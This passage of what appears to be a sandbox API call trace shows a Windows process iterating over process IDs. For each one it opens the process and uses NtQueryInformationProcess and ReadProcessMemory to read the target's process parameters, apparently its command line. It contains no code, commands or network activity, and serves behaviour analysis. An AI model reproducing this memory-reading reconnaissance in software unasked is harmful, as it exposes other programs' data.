_BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0294.632] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="452") returned 3 [0294.634] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.634] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0294.666] CloseHandle (hObject=0x0) returned 0 [0294.667] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0294.674] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="504") returned 3 [0294.675] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.675] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.693] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x464 [0294.693] GetLastError () returned 0x0 [0294.694] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0294.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0294.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0294.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0294.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0294.697] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0294.702] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0294.702] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0294.702] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0294.703] malloc (_Size=0x1c) returned 0x196ef0fa030 [0294.703] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0fa030, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa030*, lpNumberOfBytesRead=0x0) returned 1 [0294.703] free (_Block=0x196ef0fa030) [0294.703] CloseHandle (hObject=0x464) returned 1 [0294.704] _ui64tow_s (in: _Value=0x210, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0294.708] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="528") returned 3 [0294.709] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.709] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.728] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0294.729] CloseHandle (hObject=0x0) returned 0 [0294.760] _ui64tow_s (in: _Value=0x218, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0294.764] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="536") returned 3 [0294.765] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.765] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x464 [0294.863] GetLastError () returned 0x0 [0294.863] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0294.863] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0294.864] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0294.864] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0294.864] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f08, lpBuffer=0x670f7c2b0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0294.865] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0294.867] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0294.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0294.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0294.867] malloc (_Size=0x3e) returned 0x196ef0fc170 [0294.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fc170, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fc170*, lpNumberOfBytesRead=0x0) returned 1 [0294.868] free (_Block=0x196ef0fc170) [0294.869] CloseHandle (hObject=0x464) returned 1 [0294.873] _ui64tow_s (in: _Value=0x270, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0294.877] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="624") returned 3 [0294.878] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.878] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.899] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x464 [0294.899] GetLastError () returned 0x0 [0294.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0294.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0294.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0294.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a64033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0294.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0294.909] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0294.911] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0294.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0294.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6402a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0294.911] malloc (_Size=0x5e) returned 0x196ef0d06f0 [0294.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d06f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.912] free (_Block=0x196ef0d06f0) [0294.913] CloseHandle (hObject=0x464) returned 1 [0294.913] _ui64tow_s (in: _Value=0x290, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0294.920] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="656") returned 3 [0294.922] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.922] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x464 [0294.954] GetLastError () returned 0x0 [0294.955] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0294.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0294.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0294.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103450, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0294.957] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b561030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0294.958] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0294.961] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0294.961] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0294.961] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0294.961] malloc (_Size=0x54) returned 0x196ef100f80 [0294.961] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef100f80, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100f80*, lpNumberOfBytesRead=0x0) returned 1 [0294.962] free (_Block=0x196ef100f80) [0294.963] CloseHandle (hObject=0x464) returned 1 [0294.964] _ui64tow_s (in: _Value=0x328, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0294.970] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="808") returned 3 [0294.971] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.971] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.988] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x464 [0294.988] GetLastError () returned 0x0 [0294.988] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0294.988] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0294.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0294.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0294.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670f7c2b0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0294.990] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0294.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0294.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0294.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0294.992] malloc (_Size=0x16) returned 0x196ef0d2040 [0294.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d2040, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2040*, lpNumberOfBytesRead=0x0) returned 1 [0294.993] free (_Block=0x196ef0d2040) [0294.993] CloseHandle (hObject=0x464) returned 1 [0294.994] _ui64tow_s (in: _Value=0x358, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0295.000] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="856") returned 3 [0295.001] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.001] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x464 [0295.019] GetLastError () returned 0x0 [0295.020] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.022] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.023] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.023] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.023] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.023] malloc (_Size=0x58) returned 0x196ef1015e0 [0295.024] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef1015e0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1015e0*, lpNumberOfBytesRead=0x0) returned 1 [0295.024] free (_Block=0x196ef1015e0) [0295.025] CloseHandle (hObject=0x464) returned 1 [0295.026] _ui64tow_s (in: _Value=0x368, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0295.030] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="872") returned 3 [0295.032] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.032] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x464 [0295.049] GetLastError () returned 0x0 [0295.050] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703480, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x253297030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.052] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.053] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.053] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.054] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329702ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.054] malloc (_Size=0x74) returned 0x196ef0d2120 [0295.054] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0295.055] free (_Block=0x196ef0d2120) [0295.055] CloseHandle (hObject=0x464) returned 1 [0295.056] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0295.060] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="908") returned 3 [0295.062] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.062] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.079] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x464 [0295.079] GetLastError () returned 0x0 [0295.080] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 